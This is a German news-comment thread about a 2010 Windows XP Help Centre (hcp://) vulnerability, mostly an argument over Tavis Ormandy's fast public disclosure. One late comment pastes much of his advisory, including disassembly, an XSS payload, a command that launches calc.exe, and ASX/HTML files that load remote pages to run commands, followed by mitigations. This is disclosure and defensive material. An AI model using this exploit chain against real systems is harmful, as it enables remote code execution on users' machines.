Ungepatchte Lücke in Windows wird ausgenutzt

Sicherheitslücken Microsoft hat seine Kunden darüber in Kenntnis gesetzt, dass eine ungepatchte Sicherheitslücke unter Windows ausgenutzt wird. Am gestrigen Dienstag wurde ein Exploit-Code entdeckt, den man kurze Zeit später vom Netz nehmen konnte. mehr...

Diese Nachricht vollständig anzeigen.

Jetzt einen Kommentar schreiben
 
Was nu wenn man Hilfe in der Verwaltung deaktiviert hat?
 
@GokuSS4: schützt nach information von ms nicht gänzlich...
 
@0711: Jopp... ist das selbe "Problem" wie z.B. zeitweise mit Outlook-Express... Dachten Leute die bräuchten keine Sorgen haben weil des ja nicht benutzt wird. Da aber die DATEIEN (um es mal Grob und Verständlich auszudrücken) vorhanden sind kann natürlich das Programm von Ausserhalb verwendet werden. Den Hilfe-Dienst zu deaktivieren bringt daher garnix und stellt - ums vorsichtig auszudrücken - nur ein bischen Markup dar das aufgebracht wird.
 
es muss doch irgendwie möglich sein, so etwas nicht zu veröffentklichen und trotzdem gleichzeitig sicherzustellen, dass an einem patch gearbeitet wird und nicht totgeschwiegenen wird.
 
@hjo: Ganz genau. Das korrekte Vorgehen in einem solchen Fall wäre, dass derjenige, der einen Bug findet, diesen NUR an Microsoft meldet. Dann braucht Microsoft eine gewisse Zeit, um diesen zu fixen. Je nachdem wie kritisch die Lücke ist, wird diese entsprechend schnell geschlossen. Aber mehr als 2 Monate sollte es in der Regel nicht dauern. Was jetzt Ormandy getan hat, widerspricht allem, was ein vernünftig denkender Mensch in einem solchen Fall unternimmt.
 
@thomas.g: Stimmt. Und nciht nur das. Er hat sogar gegen klare abkommen zwischen Google und Microsoft verstoßen, die genau das klären. Seine ausrede: Er habe die Lücke in seiner Freizeit entdeckt. -.-
 
@thomas.g: 2Monate ??? in welcher Welt lebst Du denn? In den richtigen Kreisen ist so eine Lücke in einer Stunde rum. Es sollte bereits kurz nach dem bekannt werden einen entsprechenden Vorschlag geben ...wie tiefgreifend der auch sei. Schaut doch mal bei anderen Betriebssystemen wie schnell die Reaktionszeit ist. Welches BS fällt Dir denn ein wo oftmals nicht mal ein Tag vorbei ist und es gibt schon einen entsprechenden Hack ?
 
@klausing: Also bei Apple kanns schnell gehen, kann aber auch 1 Jahr dauern oder gar nicht gefixt werden. Je nachdem wie Apple grad Lust hat. Und bei Linuxanbietern kann es auch recht lange dauern bis ein Fix im Repo ist. Kann aber auch schnell gehen. Und wenn der Fix allzu schnell herausgegeben wird kann es mitunter passieren dass Software die darauf setzt plötzlich nicht mehr funktioniert. Bei frei verfügbaren Linuxsystemen ist das nicht so schlimm, aber z.B. bei kostenpflichtigen Versionen (Enterpriseversionen) wirds schon kritischer. Darum ist man da auch vorsichtiger mit dem Herausgeben von Änderungen. Da ist das Problem genau das gleiche wie bei MS. Man will die Wut der zahlenden Kunden nicht auf sich ziehen.
 
@klausing: Kennst Du den Patchday von Microsoft? Da werden monatlich Updates veröffentlicht. Und nur in ganz wenigen Ausnahmefällen, wenn eine Lücke hochkritisch ist, wird diese ausserterminlich veröffentlicht. Somit ist die Dauer von der Bekanntgabe bis zur Schliessung der Lücke im Bereich von 1-2 Monaten. Und wenn Du von 1 Stunde sprichst, dann frag ich mich, in welcher Welt DU lebst.
 
@klausing: stimmt schon 2 Monate sind zu lang, aber an einem Tag?
Dann wird dieser "Patch" möglicherweise andere Fehler nach sich ziehen und zig mal nachgepatcht, fände ich auch nicht gut. Mir wäre lieb wenn der jeweilige Patch auch erst einmal geprüft wird.
 
@klausing: Quatsch, schau mal die Bugtracks z.B. von Linux an. Ein Tag reicht in der Regel nicht. Hier ein Bericht, der zwar schon etwas älter ist, aber genau die Thematik untersucht hat: http://www.heise.de/newsticker/meldung/Studie-zur-Sicherheit-von-Linux-und-Windows-96523.html
 
@hjo: Ich finde er hat es richtig gemacht. Nun muss MS handeln und deshalb mehr davon. Nur weint MS momentan wieder mal ...
 
@kinterra: Tolles Konzept. Millionen Leute einer konkreten Gefahr aussetzen nur um sie vor dem vagen Risiko zu bewahren, dass noch wer anders die Lücke entdeckt bevor MS sie fixt... Du tötest wohl auch Leute um sie vor einer potentiellen Infektionsgefahr zu schützen, was?
 
@HazardX: Ja ich halte das für ein tolles Konzept. Ist in der Linux Welt kampferprobt und funktioniert sehr gut.
 
@HazardX: Dann sollen diese Millionen Menschen endlich mal von XP wegkommen, kanns ja nich sein.... Vor kurzem wieder XP installiert, zum testen, aber nichts da, ist deutlich langsamer als 7. Und jetzt kommt mir nich mit Firmen ... jaja ich fahr auch noch nen Auto aus den 70ern ...
 
@kinterra: Sorry aber wie ich meine, hat hier jemand das Problem um das es geht nicht so ganz verstanden. Lies doch einfach nochmal die Infos, vielleicht klappt es ja dann.
 
@klein van: Ich habe es gelesen.
 
@kinterra: war kein Minus von mir, mir ging es nur darum, dass du das Thema richtig verstehst.
 
@klein van: Es ist mir eigentlich egal wer mir minus gibt. So denke ich nunmal und das kam nicht von irgendwas oder irgendwo oder nur um jemanden irgendwas auszuwischen. Ich nutze Windows und Linux und sehe wie das unter Linux gehandhabt wird und Windows. Und Windows überzeugt mich schon lange nicht mehr, nicht nur technisch ...
 
@Rumulus: Liebe Kinder, man geht einfach nicht mit Windows in das Internetz, merkt euch das endlich mal! Das ist doch ganz klar: man soll wenigstens Linux oder besser verwenden, besser ist das, dann braucht man auch keine knallgelbe Placebo-Virenklingel! Windows ist hingegen zum offline Spielen für Solitär und ähnlichen Daddelkram, viel Spaß dabei. :-)
 
@Fusselbär: Mein kleiner Trollbär, ich war noch nie mit Windows im Internetz, dafür täglich im Internet! ,-)
 
@Rumulus: Selbst Schuld! :-)
 
@Fusselbär: Ich hab dich doch lieb......
 
@Rumulus: Huch, was ist das? http://www.youtube.com/watch?v=SpOlcm-X9cc *undschuldigpfeift*
 
@Fusselbär: Liebes Kind, ein guter Admin kann mit jedem OS sicher ins Internet. Ein schlechter Admin ist mit jedem OS gefährdet. Und wer keinen Virenscanner einsetzt, der ist auf jeden Fall ein schlechter Admin - egal auf welchem OS.
 
@Fusselbär: Wirklich ein super Video, gut gmacht und Humor hat es auch, da frag ich mich nur, war es wirklich die Idee eine Linuxler? Denn Humor haben die hier nie...... ,-)
 
Was soll man dazu sagen? Ormandy, ein Sicherheitsberater bei Google veröffentlicht ein Windows XP Exploit, nur 5 Tage nach der Bekanntgabe an Microsoft? Und der darf in einem SICHERHEITSTEAM arbeiten? Einem Mitarbeiter einen Sicherheitsteams sollte bewusst sein, was sein Tun für Auswirkungen hat. Hoffe der Schuss geht für Google nach hinten los. Zusätzlich sollte er eine Busse/Strafe erhalten, wegen unerlaubten Angriffs auf Computer (was er schlussendlich ja indirekt gemacht hat).
 
@thomas.g: keine Ahnung wieso du Minuse kriegst. Ist einfach unzumutbar nach 5 Tagen, mindestens 3-4 Wochen müsste man warten. Google will halt Microsoft etwas schwächen um ihr kommendes System besser "verkaufen" zu können. Bin gespannt ob Microsoft dann eine ähnliche Aktion bringt, oder ob die nicht auf deren Niveau herabsetzen. Google kriegt es immerhin auch nicht hin nach 5 Tagen Lücken zu patchen und das beim Browser!
 
@Arhey: man schreibt ja auch eben mal ein patch, kann man machen, der dann auf millionen von rechner funktioniert. wacht auf aus eure traumwelt, etwas zu patchen geht nicht in 5 tagen allein schon weil es zuviele unterschiedliche xps gibt, ganz, kaputt etc. wir haben doch alle gesehen wa passiert wenn frühzeitig ein patch veröffentlicht wird, es hagelt bluescreens oder komplette systeme werden geschrottet, sowas willst du natürlich verantworten. oh man oh man
 
@Odi waN: aber eine Lösung wie die Deaktivierung der Whitelist geht super schnell. Man verliert zwar hier und da eine Funktionalität, aber is sicher. Später kann dann ja der richtige Patch kommen. Sicherheit geht vor und dafür braucht man keine Wochen.
 
@klausing: auch eine abschaltung der whitelist, was übrigens in zusammenhang mit dem system steht, ist nicht einfach mal so gemacht. auch da geht das ein oder andere system flöten und selbst das will ms nicht in kauf nehmen.
 
@klausing: falls Du den Artikel richtig gelesen hast, hat Microsoft ja schon das Fix-Tool veröffentlicht, um die Lücke temporär zu schliessen... Ich finde, dass ist absolut der korrekte Weg.
 
@klausing: du hast aber mitbekommen dass ms eine ähnliche (temporäre) lösung zur verfügung stellt? Da es halt mit einschränkungen einhergeht veröffentlicht man dies nicht an millionen rechner in aller welt ausgerollt
 
@Odi waN: WTF? Hab doch nichts anderes geschrieben, dass es nicht nach 5 Tagen geht und, dass die sowas nicht nachder Zeit erwarten können.
 
@thomas.g: hab mal plus gemacht, seh das auch so, das war ein racheakt. pfui google. was wäre wenn man den code seiner alarmanlage veröffentlich wenn er auf urlaub ist, oder gleich seine urlaubspläne plus das vergessene kellerfenster?
 
@thomas.g: tjo, was willste machen? ist ja nicht verboten zu petzten, auch wenn es nicht fair erscheint... aber so ist das nun mal. das wird garantiert noch öfter passieren.
 
@thomas.g: Imho sollte derjenige, der eine Lücke entdeckt sich mit MS/Apple/etc. in Kontakt setzen und diese mit einer entsprechenden Person dort diskutieren. Schließlich muss die betroffene Firma auch die Lücke erstmal selbst analysieren um mögliche Punkte, die der urspürngliche Entdeckter vielleicht auch übersehen hat zu klären. Und die Firma muss abklären was wie schnell geht und welche möglichen Probleme das nach sich ziehen kann. Solange sollte der Entdecker auch still halten und, wenn er wirklich daran interessiert ist, vielleicht mithelfen... gegen eine entsprechende Bezahlung. 5 Tage können je nach der Art und Schwere der Lücke kurz oder auch lang sein, aber das sollten die Firma und der Entdecker miteinander abklären. Der Entdecker braucht ja nur an die Öffentlichkeit gehen und sagen er hat eine Lücke entdeckt ohne zu sehr ins Detail zu gehen 8besser gar nicht). Das stellt imho die Firma schon unter Zugzwang.
 
@thomas.g: Was soll man dazu sagen? Tavis teilte schon mal eine Sicherheitslücke MS mit! MS ignorierte das ganze und patchte fast 1 Jahr später die Lücke nach dem sie Publik wurde!!! http://winfuture.de/news,52960.html
 
@root_tux_linux:Nur hat MS von sich aus, kurz nachdem Bekannt werden, darauf hingewiesen, dass man Zugriff auf 16-Bit-Anwendungen verhindern soll. Die eigentlich bei fast allen Server so oder so abgeschaltet ist und bei Desktop so gut wie nie gebraucht wird. Hinzu kommt noch, dass die Lücke nur bei einem Physischen Zugriff ausgenutzt werden konnte! Alles in allem keine Lücke mit hohem Risiko, oder Dringlichkeit! http://winfuture.de/news,35432.html Edit: Nicht fast 1 Jahr es waren 7 Monate! Was denktst du warum diese Lücke 17 Jahre nicht ausgenutzt und gefunden wurde, weil sie so gefährlich, war, oder weil sie minder gefährlich war?
 
@root_tux_linux: Eben, für Internetz einfach Linux oder besser verwenden und alles wird gut! :-)
 
@root_tux_linux: Schau mal in die Bugtracks der Linuxe, da findest Du auch Bugs, die erst nach sehr langer Zeit gepatched wurden. Das hängt immer davon ab, was es für ein Fehler ist. Ein vernünftiger Sicherheitsguru informiert die betroffene Firma und gibt denen etwas Zeit den Fehler zu patchen. Üblich ist mindestens einen Monat, was auch viele Firmen - unter anderem MS - fordern. Ich finde auch, dass Ormandy zumindest eine Abmahnung verdient hat für diese unseriöse Tat.
 
@Timurlenk: http://twitter.com/taviso/status/16005411316
 
Frechheit, winfuture! Das "XP" in der Überschrift wurde bewusst weggelassen, um mehr Klicks zu erreichen, weil jeder Nutzer eines aktuellen Windows (7/Vista)-Systems denkt "Ah, eine Lücke, das muss ich lesen". Niemand hat bei den Problemen des Prius mit dem Gaspedal geschrieben "Toyota-Autos geben von alleine Gas". Höchst unprofessionell, und wieder mal eine Bestätigung für mich, dass es richtig ist, den Werbeblocker anzulassen. Für sowas schenke ich euch kein Werbegeld.
 
@kron: du kannst dich über dinge aufregen ... lachhaft ... reg dich lieber über unsere scheiss politiker auf - die finanzierst du permanent - bspw. mit jedem cent mehrwertsteuer.
 
@McNoise: Auf winfuture rege ich mich über winfuture-verwandte Themen auf, den Zusammenhang zu politischen Themen sehe ich nicht.
 
Ungepatchte Lücke wird ausgenützt. Welch Überraschung. Eigentlich werden doch immer ungepatchte Lücken ausgenützt. Is ja auch logisch. :-)
 
@RohLand: neimand wusste aber von der lücke ausser der herr von google und microsoft und nach 5 tagen wusste es die ganze welt. einfach mal nachdenken
 
@Odi waN: ich bezog mich auf die hirnrissige Überschrift
 
@RohLand: hätte man mit allen windoofs-lücken so machen sollen, dann gäbs das os längst nicht mehr.
 
@McNoise: Du denkst, bei einem von Millionen von Zeilen bestehenden Code kann/darf es keinen Bug geben? Es gibt sogar Software aus wenigen Zeilen Code und ohne Abhängigkeiten, und diese sind fehlerhaft. Der einzige vernünfigte Weg ist, dies zu patchen > und das macht Microsoft vorbildlich (privat und geschäftlich). Will mal sehen, wie da Google's OS vorgeht. Und es soll jetzt niemand sagen, bei Google sind keine Bugs drin :-)
 
tjo...close source ist eben nur so lange sicher bis eine petzt. das kann JEDER ZEIT wieder passieren und es wird immer wieder passieren. nun muss ms nur mal in die puschen kommen und einen patch basteln.
 
@willi_winzig: Das kann mit JEDER Software passieren.
 
Langsam wird aber auch echt zeit, dass XP stirbt. Die Sicherheitsarchitektur ist bestenfalls veraltet.
 
@Kirill: was solls werden? meinst das vista oder win 7 sicherer sind ? wers glaubt.
 
@snoopi: Genau so hört es sich an, wenn jemand keine Ahnung von der Materie hat. Ich geb Dir hier ein paar kostenlose Stichwörter: UAC, BitLocker, AppLocker (für Firmen), weiter gibt's die Securitycheckliste von Microsoft, ... Natürlich gibt's noch einige Bugs... Trotzdem bleibt eine Problemquelle weiterhin bestehen: nämlich die Person die am Computer sitzt.
 
@thomas.g: ja und was soll das bedeuten? sagt microsoft nicht zu jedem "neuen" product von denen: es ist sicherer, schneller usw.? und wie lange dauert es bis die erste schwachstelle da ist? so wie ich das all die jahre festgestellt hab, hat microsoft kein einziges bs fertig gemacht. lieber fix ein neues rausbringen weils ja mehr geld bringt als kostenlose updates machen zu müssen.
aber was solls. wer halt zu viel geld hat soll sich halt jedes jahr ein neues bs kaufen. freut euch auf win 8. noch sicherer und.....
 
@snoopi: Es wird niemals ein zum Release komplett sicheres Betriebssystem geben. Auch XP, das jetzt nach knapp 9 Jahren etliche Patches hinter sich hat, wird auch weiterhin Lücken und Löcher haben. Ich zähle zur Zeit nach SP3 ca. 140 Patche. Bis zum Supportende in 2014 werden weitere ~100 dazukommen. Würde XP auch danach noch weiter unterstützt, würden wieder mehrere hinzukommen. Es würde schlichtweg niemals aufhören. Bei keinem System. Dein Gemecker über die Nachfolger kann in ähnlicher Weise kommentiert werden. Hätte es bis heute keinen Nachfolger für XP gegeben, hättest Du wahrscheinlich gemotzt, warum's nach Jahren nicht mal einen Nachfolger für Windows XP gibt ...
 
@Kirill: Lol, Du kennst Dich mit Sicherheitsarchitekturen aus? Na, dann erzähl mal inwiefern die Sicherheitsarchitektur von Linux oder OS X besser ist.
 
@Kirill: Demnach sollte man Windows 7 und Windows "Server" 2008 ebenfalls besser sterben lassen, denn die sind ebenfalls bestenfalls unsicher: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3678 Diese schon lange bekannte Sicherheitslücke in Windows 7 und Windows "Server" 2008 wurde beim Patchday ebenfalls nicht geschlossen.
 
@Fusselbär: Demnach sollte man jedes BS auf dieser Welt sterben lassen. Aber ich rede hier nicht von grenzenlosem Eifer, sondern von praktischen Gesichtspunkten. Und Windows XP ist nunmal alt. Wirklich alt. Inzwischen wohl auch zu alt, die Sicherheitsarchitektur hinkt aktuellen Windowsen gnadenlos hinterher.
 
@Kirill: Das Microsoft Windows ganz egal in welcher Version gnadenlos hinterherhinkt, das will doch niemand ernsthaft abstreiten. :-)
 
@Fusselbär: Vorausgesetzt, du willst hier sachlich diskutieren, anstatt nur zu flamen, kann man es sehr wohl abstreite. Abgesehen davon dass es schlicht unlogisch ist, dass Windows unsicherer ist, gibt es auch fachkundige Stimmen von Pwn2Own. Interessiert dich das Sachliche aber überhaupt, oder willst du nur flamen?
 
was hier wieder für ansagen kommen.. der typ hat es microsoft gemeldet.. was ja brav ist damit ms den bug beheben kann.. ABER.. so kurz danach gleich den fehler allen zugänglich zu machen ist einfach nur dumm.. man kann nicht jeden fehler so schnell beheben.. kleine änderungen können große auswirkungen auf andere teile haben.. von daher fettes - an den typen.. das hat nix mit "microsoft dazu drängen den fehler zu beheben" zu tun..
 
@vires: gut zusammengefasst...
 
Wieder nur ungenaue Infos, sind alle Browser betroffen oder nur der IE ? Der Beispiel Exploit Code für den IE7 macht im Firefox nix, selbst wenn ich NoScript deaktiviere.
 
@Spiderman111: Lies die News nochmal und du hast die Antwort, es ist nicht Browser abhängig, sondern OS. NoScript ist nur nützlich wenn du es Konsequent anwendest, aber dass machst du mit Sicherheit nicht, denn ansonsten hättest du hier kein Kommentar schreiben können, darum nützt NoScript in deinem Fall nichts.
 
@Rumulus: Ich kann hier auch mit NoScript(also ohne Javascript) posten, warum auch nicht ?
Richtig ist, das Exploit funktioniert nur auf Browsern die das HCP Protokoll unterstützen, auch braucht das Exploit das ActiveX des WMP und auch Cross Site Scripting. Das Exploit kann also nicht mit dem Firefox funktionieren, erst recht nicht mit NoScript, NoScript blockt auch Plugins wie Flash und WMP und Cross Site Scripting auch.
Auf Heise wird das genau beschrieben: http://tinyurl.com/32cvnl8
 
@Spiderman111: Nun ja, wie wendest du NoScript an? Die meisten lassen es zu auf Seiten denen sie vertrauen und was heisst das? Lies dein Link nochmal Fx ist davon nicht explizit ausgeschlossen, denn nicht ohne Grund wird deutlich, wenn es um Browser geht im Plural gesprochen, siehe 3 letzter Absatz. Meiner Meinung nach lässt sich die Schwachstelle über verschiedenste Angriffsvektoren ausnutzen - einerseits durch das direkte Verlinken von hcp-URIs, sofern der zugehörige URI-Handler im Browser aktiv ist, andererseits aber z.B. auch browserübergreifend über das Windows-Media-Player-Plugin ohne jegliche Benutzerinteraktion. In diesem Fall handelt es sich also tatsächlich nicht um eine Schwachstelle, die nur über den IE als Angriffsvektor ausnutzbar ist.
 
@Rumulus: Nicht nur nach Vertrauen, sondern auch nach Anzahl der Werbung, viel Werbung bedeutet auch ein höheres Risiko. Das Problem sitzt tiefer im System, deshalb ist das Abschalten des HCP Protokoll die sicherste/beste Lösung, denn die Lücke läßt sich auch durch z.B. Email Programme ausnutzen. Ich wollte nur klar stellen, mit dem Firefox ist die Lücke nicht so einfach auszunutzen wie mit dem IE, noch gibt es kein Expoit für den Firefox, und wenn dann wohl nur bei Firefox ohne NoScript.
 
@Rumulus: Was ist den so schwer daran, einfach mal selbst schnell nachzugucken bevor wilde Spekulationen angestellt werden? Ist blindlings geraten bei Microsoft so üblich? Dabei wäre es doch so einfach, mal im Firefox nach "network.protocol-handler.external.hcp" zu gucken, bei mir zumindest steht das auf dem default Value und das ist da "false". Das heißt, das hcp Protokoll wird Firefox einfach nicht benutzen. Entwarnung also für Firefox Benutzer bei denen "network.protocol-handler.external.hcp" auch auf dem default Value "false" steht. Wer da Value auf "true" gestellt haben sollte, täte wohl gut daran das Value wieder auf "false" zurückzustellen
 
@Fusselbär: Du hast keine Ahnung um was es hier wirklich geht, oder wie weitreichend diese Lücke ausgenutz werden kann! Es ist nicht Browser abhängig, wie wäre es wenn man nur mitredet, wenn man die Sache auch versteht, zumindest ansatzweise? Edit: Soviel zum Thema wilde Spekulationen:Help and Support Centre is the default application provided to access online documentation for Microsoft Windows. Microsoft supports accessing help documents directly via URLs by installing a protocol handler for the scheme "hcp", a typical example is provided in the Windows XP Command Line Reference, available at http://technet.microsoft.com/en-us/library/bb490918.aspx. Using hcp:// URLs is intended to be safe, as when invoked via the registered protocol handler the command line parameter /fromhcp is passed to the help centre application. This flag switches the help centre into a restricted mode, which will only permit a whitelisted set of help documents and parameters. This design, introduced in SP2, is reasonably sound. A whitelist of trusted documents is a safe way of allowing interaction with the documentation from less-trusted sources. Unfortunately, an implementation error in the whitelist allows it to be evaded. URLs are normalised and unescaped prior to validation using MPC::HTML::UrlUnescapeW(), which in turn uses MPC::HexToNum() to translate URL escape sequences into their original characters, the relevant code from helpctr.exe 5.1.2600.5512 (latest at time of writing) is below. .text:0106684C Unescape: .text:0106684C cmp di, '%' ; di contains the current wchar in the input URL. .text:01066850 jnz short LiteralChar ; if this is not a '%', it must be a literal character. .text:01066852 push esi ; esi contains a pointer to the current position in URL to unescape. .text:01066853 call ds:wcslen ; find the remaining length. .text:01066859 cmp word ptr [esi], 'u' ; if the next wchar is 'u', this is a unicode escape and I need 4 xdigits. .text:0106685D pop ecx ; this sequence calculates the number of wchars needed (4 or 2). .text:0106685E setz cl ; i.e. %uXXXX (four needed), or %XX (two needed). .text:01066861 mov dl, cl .text:01066863 neg dl .text:01066865 sbb edx, edx .text:01066867 and edx, 3 .text:0106686A inc edx .text:0106686B inc edx .text:0106686C cmp eax, edx ; test if I have enough characters in input to decode. .text:0106686E jl short LiteralChar ; if not enough, this '%' is considered literal. .text:01066870 test cl, cl .text:01066872 movzx eax, word ptr [esi+2] .text:01066876 push eax .text:01066877 jz short NotUnicode .text:01066879 call HexToNum ; call MPC::HexToNum() to convert this nibble (4 bits) to an integer. .text:0106687E mov edi, eax ; edi contains the running total of the value of this escape sequence. .text:01066880 movzx eax, word ptr [esi+4] .text:01066884 push eax .text:01066885 shl edi, 4 ; shift edi left 4 positions to make room for the next digit, i.e. total <<= 4; .text:01066888 call HexToNum .text:0106688D or edi, eax ; or the next value into the 4-bit gap, i.e. total |= val. .text:0106688F movzx eax, word ptr [esi+6]; this process continues for the remaining wchars. .text:01066893 push eax .text:01066894 shl edi, 4 .text:01066897 call HexToNum .text:0106689C or edi, eax .text:0106689E movzx eax, word ptr [esi+8] .text:010668A2 push eax .text:010668A3 shl edi, 4 .text:010668A6 call HexToNum .text:010668AB or edi, eax .text:010668AD add esi, 0Ah ; account for number of bytes (not chars) consumed by the escape. .text:010668B0 jmp short FinishedEscape .text:010668B2 .text:010668B2 NotUnicode: .text:010668B2 call HexToNum ; this is the same code, but for non-unicode sequences (e.g. %41, instead of %u0041) .text:010668B7 mov edi, eax .text:010668B9 movzx eax, word ptr [esi] .text:010668BC push eax .text:010668BD call HexToNum .text:010668C2 shl eax, 4 .text:010668C5 or edi, eax .text:010668C7 add esi, 4 ; account for number of bytes (not chars) consumed by the escape. .text:010668CA .text:010668CA FinishedEscape: .text:010668CA test di, di .text:010668CD jz short loc_10668DA .text:010668CF .text:010668CF LiteralChar: .text:010668CF push edi ; append the final value to the normalised string using a std::string append. .text:010668D0 mov ecx, [ebp+unescaped] .text:010668D3 push 1 .text:010668D5 call std::string::append .text:010668DA mov di, [esi] ; fetch the next input character. .text:010668DD test di, di ; have we reached the NUL terminator? .text:010668E0 jnz Unescape ; process next char. This code seems sane, but an error exists due to how MPC::HexToNum() handles error conditions, the relevant section of code is annotated below. .text:0102D32A mov edi, edi .text:0102D32C push ebp .text:0102D32D mov ebp, esp ; function prologue. .text:0102D32F mov eax, [ebp+arg_0] ; fetch the character to convert. .text:0102D332 cmp eax, '0' .text:0102D335 jl short CheckUppercase ; is it a digit? .text:0102D337 cmp eax, '9' .text:0102D33A jg short CheckUppercase .text:0102D33C add eax, 0FFFFFFD0h ; atoi(), probably written val - '0' and optimised by compiler. .text:0102D33F jmp short Complete .text:0102D341 CheckUppercase: .text:0102D341 cmp eax, 'A' .text:0102D344 jl short CheckLowercase ; is it an uppercase xdigit? .text:0102D346 cmp eax, 'F' .text:0102D349 jg short CheckLowercase .text:0102D34B add eax, 0FFFFFFC9h ; atoi() .text:0102D34E jmp short Complete .text:0102D350 CheckLowercase: .text:0102D350 cmp eax, 'a' .text:0102D353 jl short Invalid ; lowercase xdigit? .text:0102D355 cmp eax, 'f' .text:0102D358 jg short Invalid .text:0102D35A add eax, 0FFFFFFA9h ; atoi() .text:0102D35D jmp short Complete .text:0102D35F Invalid: .text:0102D35F or eax, 0FFFFFFFFh ; invalid character, return -1 .text:0102D362 Complete: .text:0102D362 pop ebp .text:0102D363 retn 4 Thus, MPC::HTML::UrlUnescapeW() does not check the return code of MPC::HexToNum() as required, and therefore can be manipulated into appending unexpected garbage onto std::strings. This error may appear benign, but we can use the miscalculations produced later in the code to evade the /fromhcp whitelist. Assuming that we can access arbitrary help documents (full details of how the MPC:: error can be used to accomplish this will be explained below), we must identify a document that can be controlled purely from the URL used to access it. After browsing the documents available in a typical installation, the author concluded the only way to do this would be a cross site scripting error. After some careful searching, a candidate was discovered: hcp://system/sysinfo/sysinfomain.htm?svr=<h1>test</h1> This document is available in a default installation, and due to insufficient escaping in GetServerName() from sysinfo/commonFunc.js, the page is vulnerable to a DOM-type XSS. However, the escaping routine will abort encoding if characters such as '=' or '"' or others are specified. It's not immediately obvious that this error is still exploitable, simple tricks like <img src=bad onerror=code> don't apply, and <script>code</script> isn't helpful as the code isn't evaluated again. In situations like this, the best course of action is to harass lcamtuf until he gives you the solution, which of course his encyclopaedic knowledge of browser security quirks produced immediately. <script defer>code</script> The defer property is an IE-ism which solves the problem, documented by Microsoft here http://msdn.microsoft.com/en-us/library/ms533719%28VS.85%29.aspx. Now that we are armed with knowledge of this trick, because these help documents are in a privileged zone, we can simply execute commands. You can test this with a command like so (assuming a recent IE): C:\> ver Microsoft Windows XP [Version 5.1.2600] C:\> c:\windows\pchealth\helpctr\binaries\helpctr.exe -url "hcp://system/sysinfo/sysinfomain.htm?svr=<script defer>eval(unescape('Run%28%22calc.exe%22%29'))</script>" C:\> While this is fun, this isn't a vulnerability unless an untrusted third party can force you to access it. Testing suggests that by default, accessing an hcp:// URL from within Internet Explorer >= 8, Firefox, Chrome (and presumably other browsers) will result in a prompt. Although most users will click through this prompt (perfectly reasonable, protocol handlers are intended to be safe), it's not a particularly exciting attack. I've found a way to avoid the prompt in a default Windows XP installation in all major browsers, The solution is to invoke the protocol handler from within an <iframe> in an ASX HtmlView element. There are probably other ways. http://en.wikipedia.org/wiki/Advanced_Stream_Redirector The version of Windows Media Player that is available by default in Windows XP is WMP9, which installs an NPAPI and ActiveX plugin to render windows media content. Later versions also can be used, with some minor complications. Thus, the attack will look like this: $ cat simple.asx <ASX VERSION="3.0"> <PARAM name="HTMLView" value="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html"/> <ENTRY> <REF href="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/bug-vs-feature.jpg"/> </ENTRY> </ASX> Where starthelp.html contains something like: $ cat starthelp.html <iframe src="hcp://..."> Forcing a user to read an .ASX file can be achieved in a cross-browser manner like so: $ cat launchurl.html <html> <head><title>Testing HCP</title></head> <body> <h1>OK</h1> <script> // HCP:// Vulnerability, Tavis Ormandy, June 2010. var asx = "http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/simple.asx";; if (window.navigator.appName == "Microsoft Internet Explorer") { // Internet Explorer var o = document.createElement("OBJECT"); o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6"); o.openPlayer(asx); } else { // Mozilla, Chrome, Etc. var o = document.createElement("IFRAME"); o.setAttribute("src", asx); document.body.appendChild(o); } </script> </body> </html> Therefore, we have the following interactions between multiple complex systems chained together: - From an html page, email, document, or other application force a user to fetch a .ASX file containing an HtmlView element. - From the HtmlView element, invoke the hcp protocol handler that would normally require confirmation. - From the HCP Protocol handler, bypass the /fromhcp whitelist by using the string miscalculations caused by failing to check the return code of MPC::HexToNum(). - Once the whitelist has been defeated, invoke the Help document with a known DOM XSS due to GetServerName() insufficient escaping. - Use the defer property of a script tag to execute script in a privileged zone even after the page has been rendered. - Invoke an arbitrary command using the wscript.shell object. Figuring out how to use the MCP::HexToNum() error to defeat the /fromhcp whitelist took some analysis, but the result looks like the following. hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm -------------------- Affected Software ------------------------ At least Microsoft Windows XP, and Windows Server 2003 are affected. The attack is enhanced against IE >= 8 and other major browsers if Windows Media Player is available, but an installation is still vulnerable without it. Machines running version of IE less than 8 are, as usual, in even more trouble. In general, choice of browser, mail client or whatever is not relevant, they are all equally vulnerable. -------------------- Consequences ----------------------- Upon successful exploitation, a remote attacker is able to execute arbitrary commands with the privileges of the current user. I've prepared a demonstration for a typical Windows XP installation with Internet Explorer 8, and the default Windows Media Player 9. http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/launchurl.html In IE7 on Windows XP, just visiting this URL should be sufficient: http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html Some minor modifications will be required to target other configurations, this is simply an attempt to demonstrate the problem. I'm sure the smart guys at metasploit will work on designing reliable attacks, as security professionals require these to do their jobs. Additionally, my demonstration is not intended to be stealthy, a real attack would barely be noticable to the victim. Perhaps the only unavoidable signal would be the momentary appearance of the Help Centre window before the attacker hides it. There are multiple trivial techniques that can be used to accomplish this. Browsers are useful to demonstrate the problem, but there are certainly other attack vectors, such as MUAs, documents, etc. Protocol handlers are designed to be used across applications. ------------------- Mitigation ----------------------- If you believe you may be affected, you should consider applying one of the workarounds described below. Few users rely on Help Centre urls, it is safe to temporarily disable them by removing HKCR\HCP\shell\open. This modification can be deployed easily using GPOs. For more information on Group Policy, see Microsoft's Group Policy site, here http://technet.microsoft.com/en-us/windowsserver/bb310732.aspx A few caveats, * I am aware that some support technicians rely on the Remote Assistance tool provided by the Help Center application using shortcuts like "explorer.exe hcp://CN=Microsoft%20Corporation,L=Re...". You can continue to use this technique by substituting "explorer.exe hcp://..." for "helpctr.exe /url hcp://...", without relying on the protocol handler. * One or two links in explorer, such as selecting "Help" from the Control Panel category view, may no longer function. If this concerns you, it is possible to gracefully degrade by replacing the protocol handler with a command to open a static intranet support page, e.g. "chrome.exe http://techsupport.intranet";. * As always, if you do not use this feature, consider permanently disabling it in order to reduce attack surface. Historically, disabling unused protocol handlers has always proven to be a wise investment in security. In the unlikely event that you heavily 